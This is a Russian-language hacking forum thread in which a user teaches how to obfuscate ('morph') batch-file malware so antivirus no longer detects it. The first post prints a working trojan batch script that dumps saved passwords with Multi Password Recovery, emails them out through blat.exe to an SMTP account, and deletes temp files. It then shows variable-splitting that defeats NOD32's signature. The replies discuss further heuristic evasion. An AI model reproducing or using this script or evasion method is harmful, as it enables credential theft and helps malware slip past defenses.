Морфим батч руками

Тема в разделе "Статьи", создана пользователем j0sur, 13 мар 2012.

  1. j0sur
    j0sur Новичок
    Симпатии:
    7
    В этой статье я постараюсь объяснить как морфить bat файлы. Опять таки, прошу прощения за ошибки и опечатки.
    Введение
    Я знаю лишь 2 способа морфинга:
    • ручной
    • автоматический
    Первый вариант более трудоемкий и гибкий(а зачастую дает и лучший результат), но второй очень быстрый(в соседней моей теме есть мой морфер, который, надеюсь, будет развиваться мною).
    Но тема данной статьи в другом.
    Теория
    Взгляните на свой батч и подумайте, чем он может запасть в сигнатуры АВ?
    Я уверен(хотя могу и ошибаться), что "отбелить" скрипт можно так:
    • поменяв названия меток
    • поменяв имена переменных
    • удалив комменты
    • разбросав странные(палящиеся) комманде по переменным
    Список может быть неполным.
    Практика
    Давайте тренироваться на батче onthar'а из темы "Делаем троян с отправкой на почту из Multi Password Recovery".
    Вот исходный код:
    Код:
    @echo off
    :start
    ping ya.ru -n 5 >nul
    if %errorlevel%==0 (goto send) else (goto end)
    
    :end
    goto :start
    
    :send
    blat.exe -install -server smtp.yandex.ru -port 587 -f LOGIN@yandex.ru -u LOGIN -pw PASSWORD
    mpr.exe /export
    ren *.mpf pass.mpf
    blat.exe -body PassReg -to LOGIN@yandex.ru -attach pass.mpf
    del %Temp%\*.* /Q /S /F
    
    Мой NOD32 видит в этом файле Bat.SpyAgent.G.
    Для начала давайте заменим названия меток(лучше взять случайные имена). Я поменял start на strt, end -> finish, send -> snd. Это не помогло. Ладно.
    Переменных и коментов в скрипте нет. Значит проблема в командах.
    Заменяем этот код:
    Код:
    blat.exe -install -server smtp.yandex.ru -port 587 -f LOGIN@yandex.ru -u LOGIN -pw PASSWORD
    mpr.exe /export
    ren *.mpf pass.mpf
    blat.exe -body PassReg -to LOGIN@yandex.ru -attach pass.mpf
    
    На:
    Код:
    set svr=-install -server smtp.yandex.ru -port 587
    set usr=-f LOGIN@yandex.ru -u LOGIN -pw PASSWORD
    blat.exe %svr% %usr%
    
    set lns1=mpr.ex
    set lns2=e /export
    %lns1%%lns2%
    ren *.mpf pass.mpf
    
    set snd1=blat.exe -b
    set snd2=ody PassReg -t
    set snd3=o LOGIN@yandex.ru -attach p
    %snd1%%snd2%%snd3%ass.mpf
    
    Все. Теперь мой Nod уже не ругается на наш файл(и это грустно:().
    Итого получился такой код:
    Код:
    @echo off
    :strt
    ping ya.ru -n 5 >nul
    if %errorlevel%==0 (goto snd) else (goto finish)
    
    :finish
    goto :strt
    
    :snd
    set svr=-install -server smtp.yandex.ru -port 587
    set usr=-f LOGIN@yandex.ru -u LOGIN -pw PASSWORD
    blat.exe %svr% %usr%
    
    set lns1=mpr.ex
    set lns2=e /export
    %lns1%%lns2%
    ren *.mpf pass.mpf
    
    set snd1=blat.exe -b
    set snd2=ody PassReg -t
    set snd3=o LOGIN@yandex.ru -attach p
    %snd1%%snd2%%snd3%ass.mpf
    del %Temp%\*.* /Q /S /F
    
    Так что, главное найти строки, по которым батч идентифицируется как вредоностный, и подправить их.
    На этом все, пишите свои вопросы, коментарии и просто замечания. Постараюсь все учесть.
     
    13 мар 2012
  2. aigera
    aigera Новичок
    Симпатии:
    3
    при запуске эверистика АВ запалить!!! Нужно запускать через вызов библиотек WIN
     
    13 мар 2012
    1 человеку нравится это.
  3. j0sur
    j0sur Новичок
    Симпатии:
    7
    Если честно, я не понял:crazy:
     
    13 мар 2012
    1 человеку нравится это.
  4. onthar
    onthar Продвинутый
    Симпатии:
    224
    aigera, расскажи про вызов библиотек батчем, м?
     
    14 мар 2012
    1 человеку нравится это.
  5. j0sur
    j0sur Новичок
    Симпатии:
    7
    Возможно имеется в виду использование RunDll32?
     
    14 мар 2012
Загрузка...